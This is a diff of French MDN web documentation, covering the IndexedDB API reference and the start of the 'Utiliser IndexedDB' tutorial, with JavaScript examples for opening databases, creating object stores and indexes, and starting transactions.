Les opérations effectuées par IndexedDB sont réalisées de manière asynchrone, afin de ne pas bloquer l'application. IndexedDB comprend à la fois une API asynchrone et une API synchrone. L'API synchrone était à l'origine uniquement destinée pour un usage avec les Web workers, mais elle a été retirée de la spécification parce qu'il était difficile de savoir si elle était nécessaire. Cependant l'API synchrone pourrait être ré-integrée si il y a une demande suffisante de la part des développeurs web.

+ +

Limites de stockage et critères d'éviction

+ +

Il y a un certain nombre de technologies web pour stocker différents types de données côté client (par exemple sur votre disque local). IndexedDB est la plus couramment citée. Le processus par lequel le navigateur calcule combien d'espace il doit allouer aux données web, et ce qu'il doit supprimer quand la limite est atteinte, n'est pas simple et varie entre les différents navigateurs. L'article "limites de stockage des navigateurs et critères d'éviction" tente d'expliquer ce fonctionnement, au moins pour le cas de Firefox.

+ +

Interfaces

+ +

Pour accèder à une base de données, il faut apeller open() sur l'attribut indexedDB d'un objet window. Cette méthode retourne un objet {{domxref("IDBRequest")}}; Les opérations asynchrones communiquent avec l'application appelante en déclenchant des évènements sur les objets {{domxref("IDBRequest")}}.

+ +

Se connecter à la base de données

+ +
+
{{domxref("IDBEnvironment")}}
+
Fournit un accès aux fonctionnalités d'IndexedDB. Implémenté par les objets {{domxref("window")}} et {{domxref("worker")}}.
+
{{domxref("IDBFactory")}}
+
Fournit un accès à la base de données.C'est l'interface implémentée par l'objet global indexedDB et c'est donc le point d'entrée de l'API.
+
{{domxref("IDBOpenDBRequest")}}
+
Représente une requête d'ouverture de la base de données.
+
{{domxref("IDBDatabase")}}
+
Représente une connexion à la base de données. C'est le seul moyen d'obtenir une transaction sur la base de données.
+
+

Récupérer et modifier les données

+
+
+ +
+
{{domxref("IDBTransaction")}}
+
Représente une transaction. Vous créez une transaction sur la base de données, spécifiez la portée (comme à quel magasin d'objets vous souhaitez accèder), et déterminez le type d'accès désiré (lecture seule ou lecture et écriture).
+
{{domxref("IDBRequest")}}
+
Interface générique qui récupère les requêtes à la base de données et fournit un accès aux résultats.
+
{{domxref("IDBObjectStore")}}
+
Représente un magasin d'objets qui permet l'accès à un ensemble de données d'une base de données IndexedDB, recherché par clé primaire.
+
{{domxref("IDBIndex")}}
+
Permet aussi d'accèder à un sous-ensemble de données d'une base IndexedDB mais utilise un index pour récupérer les enregistrements, au lieu d'une clé primaire. C'est parfois plus rapide qu'un usage de {{domxref("IDBObjectStore")}}.
+
{{domxref("IDBCursor")}}
+
Itérateur sur les magasins d'objets et les index.
+
{{domxref("IDBCursorWithValue")}}
+
Itérateur sur les magasins d'objets et les index et retourne la valeur courante du curseur.
+
{{domxref("IDBKeyRange")}}
+
Définit une portée de valeurs qui peut être utilisée pour récupérer des données de la base de données dans une certaine portée.
+
{{domxref("IDBLocaleAwareKeyRange")}} {{Non-standard_inline}}
+
Définit une portée de valeurs qui peut être utilisée pour récupérer des données de la base de données dans une certaine portée, triées en fonction des règles de la localisation spécifiée pour un certain index (voir createIndex()'s optionalParameters).
+
+ +

Interfaces d'événements personnalisés

+ +

Cette spécification provoque des évènements avec les interfaces personnalisées suivantes:

+ +
+
{{domxref("IDBVersionChangeEvent")}}
+
L'interface IDBVersionChangeEvent indique que la version de la base de données à changé, résultat de la fonction de saisie d'un évènement  {{domxref("IDBOpenDBRequest.onupgradeneeded")}}.
+
+ +

Interfaces obsolètes

+ +

Une précedente version des spécifications a défini ces interfaces, désormais supprimées. Elles sont toujours documentées dans le cas où vous avez besoin de mettre à jour du code déja écrit :

+ +
+
{{domxref("IDBVersionChangeRequest")}} {{obsolete_inline}}
+
Représente une requête de changement de version de la base de données. Le moyen pour changer de version de la base de données a désormais changé (avec un appel de {{domxref("IDBFactory.open")}} sans aussi appeler {{domxref("IDBDatabase.setVersion")}}), et l'interface  {{domxref("IDBOpenDBRequest")}} a désormais la fonction de l'ancienne (supprimée) {{domxref("IDBVersionChangeRequest")}}.
+
{{domxref("IDBDatabaseException")}}  {{obsolete_inline}}
+
Représente une exception (erreur) qui peut survenir durant les opérations sur la base de données.
+
{{domxref("IDBTransactionSync")}} {{obsolete_inline}}
+
Version synchrone de {{domxref("IDBTransaction")}}.
+
{{domxref("IDBObjectStoreSync")}} {{obsolete_inline}}
+
Version synchrone de {{domxref("IDBObjectStore")}}.
+
{{domxref("IDBIndexSync")}} {{obsolete_inline}}
+
Version synchrone de  {{domxref("IDBIndex")}}.
+
{{domxref("IDBFactorySync")}} {{obsolete_inline}}
+
Version synchrone de {{domxref("IDBFactory")}}.
+
{{domxref("IDBEnvironmentSync")}} {{obsolete_inline}}
+
Version synchrone de {{domxref("IDBEnvironment")}}.
+
{{domxref("IDBDatabaseSync")}} {{obsolete_inline}}
+
Version synchrone de {{domxref("IDBDatabase")}}.
+
{{domxref("IDBCursorSync")}} {{obsolete_inline}}
+
Version synchrone de {{domxref("IDBCursor")}}.
+
+ +

Exemples

+ + + +

Spécifications

+ + + + + + + + + + + + + + + + + + + +
SpécificationStatutCommentaire
{{SpecName('IndexedDB')}}{{Spec2('IndexedDB')}}Définition initiale
{{SpecName("IndexedDB 2")}}{{Spec2("IndexedDB 2")}}
+ +

Compatibilité des navigateurs

+ +

{{CompatibilityTable}}

+ +
+
+
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(23)}}{{property_prefix("webkit")}}
+ {{CompatChrome(24)}} (unprefixed)
+ {{CompatChrome(38)}} (prefixes deprecated)
+ {{CompatChrome(57)}} (prefixes removed)		{{CompatVersionUnknown}}{{CompatGeckoDesktop("10.0")}} {{property_prefix("moz")}}
+ {{CompatGeckoDesktop("16.0")}}		1015 +

7.1, partial
+ 10

+
Available in workers{{CompatVersionUnknown}} (unprefixed)
+ {{CompatChrome(38)}} (prefixes deprecated)
+ {{CompatChrome(57)}} (prefixes removed)		{{CompatVersionUnknown}}{{CompatGeckoDesktop("37.0")}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}10
Available in privacy mode[3]{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
IDBLocaleAwareKeyRange{{CompatNo}}{{CompatNo}}{{CompatGeckoDesktop("43.0")}}[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
Indexed Database 2.0{{CompatChrome(58)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(45)}}{{CompatUnknown}}
+
+ +
+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
FonctionnalitéAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE/Edge PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} (unprefixed)
+ {{CompatChrome(38)}} (prefixes deprecated)
+ {{CompatChrome(57)}} (prefixes removed)		{{CompatVersionUnknown}} (unprefixed)
+ {{CompatChrome(38)}} (prefixes deprecated)
+ {{CompatChrome(57)}} (prefixes removed)		{{CompatVersionUnknown}}{{CompatGeckoMobile("22.0")}}1.0.110{{CompatOpera(22)}}8, partial
+ 10
Available in workers{{CompatVersionUnknown}} (unprefixed)
+ {{CompatChrome(38)}} (prefixes deprecated)
+ {{CompatChrome(57)}} (prefixes removed)		{{CompatVersionUnknown}} (unprefixed)
+ {{CompatChrome(38)}} (prefixes deprecated)
+ {{CompatChrome(57)}} (prefixes removed)		{{CompatVersionUnknown}}{{CompatGeckoMobile("37.0")}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}10
Available in privacy mode[3]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
IDBLocaleAwareKeyRange{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("43.0")}}[2]2.5[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
Indexed Database 2.0{{CompatChrome(58)}}{{CompatChrome(58)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(45)}}{{CompatUnknown}}
+
+
+
+ +
    +
  • [1] {{domxref("IDBCursorWithValue")}} n'est pas disponible dans les workers jusqu'à Gecko 42.0 {{geckoRelease("42.0")}}.
    • +
  • [2] Cette fonctions est actuellement cachée — pour l'activer et l'experimenter, aller dans about:config et activer dom.indexedDB.experimental.
    • +
  • [3] AKA "Private Browsing Mode" (Firefox) et "Incognito" (Chrome).
    • +
+ +

Voir aussi

+ +
    +
  • localForage: Un Polyfill fournissant une syntaxe clé-valeurs simple pour un stockage côté client; il utilise IndexedDB en arrière plan, mais se retourne d'abord sur WebSQL puis sur localStorage pour les navigateurs qui ne supportent pas IndexedDB.
    • +
  • dexie.js : Un wrapper pour IndexedDB qui permet un développement plus rapide avec une syntaxe simple.
    • +
  • ZangoDB : Une interface MongoDB-like pour indexedDB qui prend en charge la plupart des fonctionnalités familières de filtrage, projection, tri, mise à jour et agrégation de MongoDB.
    • +
  • JsStore : Un contenu indexedDB avec SQL comme syntaxe.
    • +
  • MiniMongo
    • +
  • PouchDB
    • +
diff --git a/files/fr/web/api/indexeddb_api/using_indexeddb/index.html b/files/fr/web/api/indexeddb_api/using_indexeddb/index.html new file mode 100644 index 0000000000..a8df123888 --- /dev/null +++ b/files/fr/web/api/indexeddb_api/using_indexeddb/index.html @@ -0,0 +1,1337 @@ +--- +title: Utiliser IndexedDB +slug: Web/API/API_IndexedDB/Using_IndexedDB +tags: + - Avancé + - Base de données + - Guide + - IndexedDB + - Stockage + - Tutoriel +translation_of: Web/API/IndexedDB_API/Using_IndexedDB +--- +

IndexedDB est un moyen de stocker des données de manière persistante dans un navigateur. Cela vous laisse créer des applications web avec de riches possibilités de requêtes indépendamment de la disponibilité du réseau puisque vos applications peuvent fonctionner en ligne ou hors-ligne. 

+ +

À propos de ce document

+ +

Ce tutoriel vous guide à travers l'utilisation de l'API asynchrone de IndexedDB. Si vous n'êtes pas familier avec le principe de IndexedDB, vous devriez d'abord lire les concepts basiques d'IndexedDB.

+ +

Pour la documentation de référence sur l'API d'IndexedDB, voyez l'article IndexedDB et ses sous-parties, qui détaille les types d'objets utilisés par IndexedDB, ainsi que les méthodes sur l'API asynchrone (l'API synchrone a été retirée de la spécification).

+ +

Modèle de base

+ +

Le modèle de base qu'IndexedDB utilise est le suivant :

+ +
    +
  1. Ouvrir une base de données.
    2. +
  2. Créer un objet de stockage dans la base de données. 
    3. +
  3. Démarrer une transaction, et faire des requêtes pour faire quelques opérations sur des bases de données, comme ajouter, ou récupérer des données.
    4. +
  4. +
    Attendre que l'exécution soit terminée, en écoutant le bon type d'événement DOM.
    +
    5. +
  5. +
    Faire quelque chose avec les résultats (qui peuvent être trouvés dans l'objet de la requête).
    +
    6. +
+ +

Maintenant que nous avons ces grands concepts en poche, nous pouvons voir des choses plus concrètes.

+ +

Créer et structurer l'objet de stockage

+ +

Étant donné que la spécification évolue encore, les implémentations actuelles de IndexedDB se cachent sous les préfixes du navigateur. Les fournisseurs de navigateurs peuvent avoir des implémentations différentes de l'API IndexedDB standard jusqu'à ce que la spécification se soit solidifiée. Mais une fois qu'un consensus est atteint sur la norme, les fournisseurs l'implémentent sans les balises de préfixe. Actuellement, certaines implémentations ont supprimé le préfixe : Internet Explorer 10, Firefox 16, Chrome 24. Lorsqu'ils utilisent un préfixe, les navigateurs basés sur Gecko utilisent le préfixe moz, tandis que les navigateurs WebKit utilisent le préfixe webkit.

+ +

Utiliser une version expérimentale d'IndexedDB

+ +

Au cas où vous souhaiteriez tester votre code dans des navigateurs qui utilisent toujours un préfixe, vous pouvez utiliser le code suivant :  

+ +
// Sur la ligne suivante, vous devez inclure les préfixes des implémentations que vous souhaitez tester.
+window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
+// N'UTILISEZ PAS "var indexedDB = ..." si vous n'êtes pas dans une fonction.
+// De plus, vous pourriez avoir besoin de réferences à des objets window.IDB*:
+window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
+window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange
+// (Mozilla n'a jamais préfixé ces objets, donc nous n'avons pas besoin de window.mozIDB*)
+ +

Faites attention aux implémentations qui utilisent un préfixe ; elles peuvent être boguées, incomplètes, voire suivre une ancienne version de la spécification. Il n'est donc pas recommandé d'utiliser en production. Il serait préférable de ne pas supporter ces navigateurs :

+ +
if (!window.indexedDB) {
+    window.alert("Votre navigateur ne supporte pas une version stable d'IndexedDB. Quelques fonctionnalités ne seront pas disponibles.")
+}
+
+ +

Ouvrir une base de données

+ +

On commence l'ensemble du processus comme ceci :

+ +
// Ouvrons notre première base
+var request = window.indexedDB.open("MyTestDatabase", 3);
+
+ +

Vous avez vu ? Ouvrir une base de données est comme n'importe quelle autre opération — vous avez juste à le "demander".

+ +

La requête "open" n'ouvre pas la base de données ni ne démarre une transaction aussitôt. L'appel de la fonction open() retourne un objet IDBOpenDBRequest avec un résultat  (success) ou une valeur d'erreur qui permet de la gérer comme un évènement. La plupart des autres fonctions asynchrones dans IndexedDB fonctionnent de la même façon ; Elles retournent un objet IDBRequest avec le résultat ou une erreur. Le résultat de la fonction "open" est une instance de IDBDatabase.

+ +

Le second paramètre de la méthode open est la version de la base de données. La version de la base détermine le schéma de celle-ci — Les objets stockés dans la base de données et leur structure. Si la base de données n'existe pas déjà, elle est créée via l'opération open(), puis, un événement onupgradeneeded est déclenché et vous créez le schéma de la base dans le gestionnaire pour cet événement. Si la base de données existe, mais que vous spécifiez un numéro de version plus élevé, un événement onupgradeneeded est déclenché  immédiatement, vous permettant de mettre à jour le schéma dans son gestionnaire – plus d'informations dans Updating the version of the database plus bas et la page référence {{ domxref("IDBFactory.open") }}.

+ +
+

Important: Le numéro de version est un nombre "unsigned long long" ce qui signifie qu'il peut s'agir d'un entier très grand. Cela veut également dire que vous ne pouvez pas utiliser de réél, sinon, il sera converti au nombre entier le plus proche (inférieur) et la transaction peut ne pas démarrer ou ne pas déclencher l'événement upgradeneeded. Par exemple, n'utilisez pas 2.4 comme un numéro de version :
+ var request = indexedDB.open("MyTestDatabase", 2.4); // Ne faites pas ça, même si la version sera arrondie à 2

+
+ +

Générer des gestionnaires

+ +

La première chose que vous ferez avec la plupart des requêtes que vous générerez sera d'ajouter des gestionnaires de succès ou d'erreurs :

+ +
request.onerror = function(event) {
+  // Faire quelque chose avec request.errorCode !
+};
+request.onsuccess = function(event) {
+  // Faire quelque chose avec request.result !
+};
+ +

Laquelle de ces deux fonctions, onsuccess() or onerror(), sera appelée ? Si tout se passe bien, un évènement success (qui est un évènement DOM dont la propriété type est à "success") est déclenché avec request comme cible. Une fois déclenché, la fonction onsuccess() de request est lancée avec l'évènement success comme argument. S’il y avait un quelconque problème, un évènement erreur (qui est un évènement DOM dont la propriété type est définie à "error") est lancée dans request. Cela déclenche la fonction onerror() avec l'évènement d'erreur comme argument.

+ +

L'API IndexedDB est conçue pour minimiser le recours à la gestion des erreurs, donc vous ne serez pas amené à voir beaucoup d'évènements erreurs (du moins, pas tant que vous utilisez l'API !). Cependant, dans le cas d'une ouverture de base de données, il y a quelques conditions qui génèrent des évènements d'erreurs. Le problème le plus courant est que l'utilisateur a décidé d'interdire l'accès à la création de base de données. Un des principaux objectifs d’IndexedDB est de permettre un stockage important de données pour l'utilisation hors-ligne. (Pour en savoir plus sur la capacité de stockage de chaque navigateur, voyez Storage limits).

+ +

Évidemment, les navigateurs ne peuvent permettre qu'une publicité en ligne ou un site malicieux pollue votre ordinateur, donc ils informent l’utilisateur la première fois qu'une application web tente d'ouvrir un espace de stockage IndexedDB. L'utilisateur peut choisir de permettre ou refuser l'accès. En ce qui concerne l’utilisation d’IndexedDB en mode privé, les données restent en mémoire jusqu’à ce que la session privée soit close (Navigation privée pour Firefox et mode Incognito pour Chrome, mais dans Firefox, cela n'est pas encore implémenté depuis novembre 2015, aussi vous ne pouvez pas utiliser IndexedDB dans le mode privé de Firefo du tout).

+ +

Maintenant, en admettant qu’un utilisateur ait accepté la création d'une base, et que vous receviez un évènement "success" qui déclenche le callback (rappel) "success" ; que se passe-il après ? La requête a génèré un appel à indexedDB.open(), donc request.result est une instance de IDBDatabase, et vous voulez garder en mémoire cela pour plus tard. Votre code devrait ressembler à ceci :

+ +
var db;
+var request = indexedDB.open("MyTestDatabase");
+request.onerror = function(event) {
+  alert("Pourquoi ne permettez-vous pas à ma web app d'utiliser IndexedDB?!");
+};
+request.onsuccess = function(event) {
+  db = event.target.result;
+};
+
+ +

Gérer les erreurs

+ +

Comme mentionné ci-dessus, les évènements d’erreur génèrent des info-bulles. Ils  sont rattachés à la requête qui a généré l’erreur, puis la bulle de l'évènement est transmis à la transaction, et enfin à l'objet de la base de données. Si vous souhaitez éviter d'ajouter un gestionnaire d'erreurs à chaque requête, vous pouvez en ajouter un unique à l'objet de la base de donnée, de cette manière :

+ +
db.onerror = function(event) {
+  // Gestionnaire d'erreur générique pour toutes les erreurs de requêtes de cette base
+  alert("Database error: " + event.target.errorCode);
+};
+
+ +

Une des erreurs courantes possibles lorsqu'on ouvre une base de données, c'est VER_ERR. Celle-ci indique que la version de la base de données stockée sur le disque est supérieure à la version que vous êtes en train d'essayer d'ouvrir. C'est un cas qui doit toujours être pris en considération par le gestionnaire d'erreurs.

+ +

Créer ou mettre à jour une version de base de données

+ +

Lorsque vous créez une nouvelle base de données, ou que vous augmentez le numéro de version d'une base existante (en spécifiant un numéro de version supérieur à celui que vous aviez auparavant, lors de {{ anch("Ouvrir une base de données") }}), l'évènement onupgradeneeded sera déclenché et un objet IDBVersionChangeEvent sera passé à un évènement onversionchange dans request.result (la variable db dans l'exemple). Dans le gestionnaire d’évènement upgradeneeded, vous devez créer les objets de stockage requis pour cette version de base :

+ +
// Cet évènement est seulement implémenté dans des navigateurs récents
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // Crée un objet de stockage pour cette base de données
+  var objectStore = db.createObjectStore("name", { keyPath: "myKey" });
+};
+ +

Dans ce cas, la base de données disposera aussitôt des objets de stockage de la version précédente de la base, donc vous n’aurez pas à créer de nouveau ces objets de stockage. Vous aurez seulement besoin de créer de nouveaux objets de stockage, ou d'en supprimer de la version précédente si vous n'en avez plus besoin. Si vous avez besoin de changer un objet de stockage existant  (par exemple, pour changer la keyPath), alors vous devez supprimer l’ancien objet de stockage et le créer à nouveau avec les nouveaux paramètres. Notez que ceci supprimera les informations dans l'objet de stockage ! Si vous avez besoin de sauvegarder ces informations, vous devez les lire et les sauvegarder quelque part avant de mettre à jour la base de données.

+ +

Essayer de créer un objet de stockage avec un nom déjà existant (ou essayer de supprimer un objet de stockage avec un nom qui n'existe pas encore) renverra une erreur. 

+ +

Si l'évènement onupgradeneeded quitte avec succès, le gestionnaire onsuccess de la requête d'ouverture de la base de données sera déclenché. 

+ +

Blink/Webkit supporte la version courante de la spécification, telle que livrée dans Chrome 23+ et Opera 17+ ; IE10+ également. Les autres implémentations plus anciennes ne prennent pas en charge indexedDB.open(name, version).onupgradeneeded. Pour plus d'informations sur la mise à jour de version de base de données sur les anciens Webkit/Blink, référez vous à IDBDatabase reference article.

+ +

Structurer la base de données

+ +

Maintenant, structurons la base de données. IndexedDB utilise des objets de stockage plutôt que des tableaux, et une seule base de données peut contenir un nombre quelconque d'objets de stockage. Chaque fois qu'une valeur est stockée dans un objet de stockage, elle est associée à une clé. Il y a différentes manières pour une clé d'être définie, selon que l'objet de stockage utilise un key path (chemin de clé) ou un key generator (générateur de clé).

+ +

Le tableau suivant montre les différentes manières d'attribuer des clés.

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
Key Path chemin de clé (keyPath)Key Generator générateur de clé (autoIncrement)Description
NonNonL'objet de stockage peut contenir n'importe quel type de valeur, même des valeurs primitives comme des nombres ou des chaînes de caractères. Vous devez fournir un argument clé séparé chaque fois que vous souhaitez ajouter une nouvelle valeur.
OuiNonL'objet de stockage peut contenir des objets JavaScript. Les objets doivent avoir une propriété qui a le même nom que le key path.
NonOuiL'objet de stockage peut contenir n'importe quel type de valeur. La clé est générée pour vous automatiquement, ou vous pouvez fournir un argument  clé séparé si vous voulez utiliser une clé spécifique.
OuiOuiL'objet de stockage peut contenir des objets JavaScript. Normalement, une clé est générée, et sa valeur est stockée dans l'objet dans une propriété avec le même nom que le key path. Cependant, si une telle propriété existe, sa valeur est utilisée en tant que clé, plutôt que la génération d'une nouvelle clé.
+ +

Vous pouvez aussi créer des index sur un objet de stockage, à condition que l'objet de stockage contienne des objets, et non des primitives. Un index vous permet de consulter les valeurs stockées dans un objet de stockage en utilisant la valeur d'une propriété de l'objet stocké, plutôt que la clé de l'objet.

+ +

En outre, les index ont la capacité d'appliquer des contraintes simples sur les données stockées. En paramétrant l'option unique lorsque l'on crée un index, ce dernier fait que deux objets ne peuvent être enregistrés en ayant la même valeur pour le chemin de clé de l'index. Par exemple, si vous avez un objet de stockage qui contient un ensemble de personnes, et que vous voulez vous assurer que deux personnes n’aient pas la même adresse de courriel, vous pouvez utiliser un index avec le paramètre unique à true.

+ +

Cela peut sembler confus, mais ce simple exemple devrait illustrer ces concepts. D'abord, nous définissons quelques données client à utiliser dans notre exemple :

+ +
// Voici à quoi ressemblent nos données client.
+const customerData = [
+  { ssn: "444-44-4444", name: "Bill", age: 35, email: "bill@company.com" },
+  { ssn: "555-55-5555", name: "Donna", age: 32, email: "donna@home.org" }
+];
+ +

Bien sûr, vous n'utiliseriez pas le numéro de sécurité sociale comme clé primaire dans une table clients parce que tout le monde n'a pas de numéro de sécurité sociale, et vous pourriez stocker leur date de naissance au lieu de leur âge, mais laissons ces choix non pertinents pour des raisons de commodité et continuons.

+ +

Maintenant, voyons la création d'une base de données pour stocker ces données :

+ +
const dbName = "the_name";
+
+var request = indexedDB.open(dbName, 2);
+
+request.onerror = function(event) {
+  // Gestion des erreurs.
+};
+request.onupgradeneeded = function(event) {
+  var db = event.target.result;
+
+  // Créer un objet de stockage qui contient les informations de nos clients.
+  // Nous allons utiliser "ssn" en tant que clé parce qu'il est garanti d'être
+  // unique - du moins, c'est ce qu'on en disait au lancement.
+  var objectStore = db.createObjectStore("customers", { keyPath: "ssn" });
+
+  // Créer un index pour rechercher les clients par leur nom. Nous pourrions
+  // avoir des doublons (homonymes), alors on n'utilise pas d'index unique.
+  objectStore.createIndex("name", "name", { unique: false });
+
+  // Créer un index pour rechercher les clients par leur adresse courriel. Nous voulons nous
+  // assurer que deux clients n'auront pas la même, donc nous utilisons un index unique.
+  objectStore.createIndex("email", "email", { unique: true });
+
+  // Utiliser la transaction "oncomplete" pour être sûr que la création de l'objet de stockage
+  // est terminée avant d'ajouter des données dedans.
+  objectStore.transaction.oncomplete = function(event) {
+    // Stocker les valeurs dans le nouvel objet de stockage.
+    var customerObjectStore = db.transaction("customers", "readwrite").objectStore("customers");
+    for (var i in customerData) {
+      customerObjectStore.add(customerData[i]);
+    }
+  }
+};
+ +
Comme indiqué précédemment, onupgradeneeded est le seul endroit où vous pouvez modifier la structure de la base de données. Dans cette méthode, vous pouvez créer et supprimer des objets de stockage, construire et supprimer des index.
+ +
+ +

Les objets de stockage sont créés avec un simple appel à createObjectStore(). La méthode prend le nom du stockage et un paramètre de type objet. Même si les paramètres sont optionnels, ils vous laissent définir d'importantes propriétés et redéfinir le type d'un objet de stockage que vous voulez créer. Dans notre cas, nous avons demandé un objet de stockage nommé "customers" et défini un keyPath, qui est la propriété rendant unique un objet individuel dans le stockage. Cette propriété dans l'exemple est "ssn" puisqu'un numéro de sécurité sociale est garanti unique. "ssn" doit être présent sur chaque objet stocké dans objectStore.

+ +

Nous avons aussi demandé un index nommé "name" qui examine la propriété name dans les objets stockés. Comme avec createObjectStore(), createIndex() prend un paramètre de type objet facultatif (options) qui définit le type d’index à créer. Ajouter des objets qui n’auront pas de propriété name fonctionnera, mais ces objets n'apparaîtront pas dans l'index "name".

+ +

Nous pouvons récupérer les objets client stockés, en utilisant directement leur ssn dans l'objet de stockage, ou en utilisant leur nom via l’index name. Pour en savoir plus sur ce fonctionnement, se référer à la section utiliser un index.

+ +

Utiliser le générateur de clés

+ +

Paramétrer un marqueur autoIncrement lorsque l'on crée un objet de stockage activera le générateur de clés pour cet objet de stockage. Par défault, ce marqueur n'est pas défini.

+ +

Avec la générateur de clés, une clé sera générée automatiquement lorsque vous ajoutez une valeur dans un objet de stockage. Le compteur initial pour la génération de clés est toujours défini à 1 lorsque l'objet de stockage est créé pour la première fois. Fondamentalement, une nouvelle clé auto-générée sera incrémentée de 1 par rapport à la précédente. Le nombre courant d'un générateur de clé ne décroit jamais, à moins qu'un résultat d'opération sur la base soit annulé, par exemple, l'abandon d'une transaction sur la base. En conséquence, supprimer un enregistrement, voire l'ensemble des enregistrements d'un objet de stockage n'affecte jamais le générateur de clés d'un objet de stockage.

+ +

Nous pouvons créer un autre objet de stockage avec un générateur de clés comme ci-dessous :

+ +
// Ouverture d'indexedDB.
+var request = indexedDB.open(dbName, 3);
+
+request.onupgradeneeded = function (event) {
+
+    var db = event.target.result;
+
+    // Création d'un autre objet appelé "names" avec l'option autoIncrement définie à true.
+    var objStore = db.createObjectStore("names", { autoIncrement : true });
+
+    // Puisque l'objet "names" a un générateur de clés, la clé pour la valeur name est générée automatiquement.
+    // Les enregistrements ajoutés ressembleront à ceci :
+    // key : 1 => value : "Bill"
+    // key : 2 => value : "Donna"
+    for (var i in customerData) {
+        objStore.add(customerData[i].name);
+    }
+}
+ +

Pour plus de détails sur le générateur de clés, voyez "W3C Key Generators".

+ +

Ajouter, récupérer et supprimer des données

+ +

Avant de faire quoi que ce soit avec votre nouvelle base de données, vous aurez besoin de démarrer une transaction. Les transactions viennent de l'objet base de données, et vous devez spécifier sur quel objet vous souhaitez faire pointer la transaction. Une fois dans la transaction, vous pouvez accéder à l'objet de stockage qui contient vos données et faire vos requêtes. Puis, vous devez décider si vous allez appliquer des changements à la base de données, ou si vous avez juste besoin de la lire. Les transactions disposent de trois modes disponibles: readonly (lecture seule), readwrite (lecture/écriture), et versionchange (changement de version).

+ +

Pour changer le "schéma" ou la structure de la base de données — qui implique de créer ou supprimer des objets de stockage ou des index — la transaction doit être en mode versionchange. Cette transaction est ouverte en appelant la méthode {{domxref("IDBFactory.open")}}  avec une version spécifiée. (Dans les navigateurs WebKit, qui n'ont pas implémenté la dernière spécification, la méthode {{domxref("IDBFactory.open")}} prend seulement un paramètre, le nom de la base de données ; Vous devez donc appeler {{domxref("IDBVersionChangeRequest.setVersion")}} pour établir la transaction versionchange.)

+ +

Pour lire les enregistrements d'un objet de stockage existant, la transaction peut être en mode readonlyou readwrite. Pour appliquer des changements à un objet de stockage existant, la transaction doit être en mode readwrite. Vous démarrez ces transactions avec {{domxref("IDBDatabase.transaction")}}. La méthode accepte deux paramètres : les storeNames (la portée, définie comme un tableau des objets de stockage auxquels vous souhaitez accéder) et le mode (readonly ou readwrite) pour la transaction. La méthode retourne un objet de transaction contenant la méthode {{domxref("IDBIndex.objectStore")}}, que vous utilisez pour accéder à votre objet de stockage. Par défaut, lorsqu'aucun mode n'est spécifié, les transactions démarrent en mode readonly.

+ +
+

Note: À partir de Firefox 40, les transactions IndexedDB ont des garanties de durabilité relachées afin d'augmenter les performances (voir {{Bug("1112702")}}.) Auparavant, lors d'une transaction readwrite {{domxref("IDBTransaction.oncomplete")}} était déclenché seulement lorsque les données étaient garanties pour une écriture sur le disque. Dans Firefox 40+ l'évènement complete est déclenché une fois que l'OS a autorisé l'écriture de données, mais potentiellement avant que les données soient réellement écrites sur le disque. L'évènement complete peut ainsi être livré plus vite qu'avant, cependant, il existe un petit risque que l'ensemble de la transaction soit perdu si l'OS s'effondre ou si un problème électrique survient avant que les données soient écrites. Comme de tels évènements catastrophiques sont rares, la plupart des utilisateurs n'ont pas à s'en soucier. Si vous devez vous assurer de la durabilité pour quelconque raison que ce soit (par exemple, vous stockez des données critiques qui ne peuvent être recalculées plus tard) vous pouvez forcer une transaction à écrire sur le disque avant que l'évènement complete ne soit délivré en créant une transaction utilisant un mode expérimental (non-standard) readwriteflush  (se référer à {{domxref("IDBDatabase.transaction")}}.

+
+ +

Vous pouvez accélérer l'accès à vos données en utilisant le bon mode et la bonne portée dans la transaction. Voici deux astuces :

+ +
    +
  • Lorsque vous définissez la portée, spécifiez uniquement les objets de stockage dont vous avez besoin. De cette manière, vous pouvez exécuter plusieurs transactions simultanément sans qu'elles se chevauchent.
    • +
  • Spécifier le mode readwrite pour une transaction seulement lorsque c'est nécessaire. Vous pouvez exécuter simulaténement plusieurs transactions readonly avec chevauchements, mais vous ne pouvez avoir qu'une seule transaction readwrite dans un objet de stockage. Pour en savoir plus, regardez la définition des transactions dans l'article des concepts de base.
    • +
+ +

Ajouter des données dans la base de données

+ +

Si vous venez juste de créer une base de données, alors vous souhaitez probablement écrire dedans. Voici comment ça se passe :

+ +
var transaction = db.transaction(["customers"], "readwrite");
+// Note: Les anciennes implémentations utilisent la constante dépréciée IDBTransaction.READ_WRITE au lieu de "readwrite".
+// Au cas où vous souhaitiez mettre en oeuvre ces implémentations, vous pouvez écrire :
+// var transaction = db.transaction(["customers"], IDBTransaction.READ_WRITE);
+ +

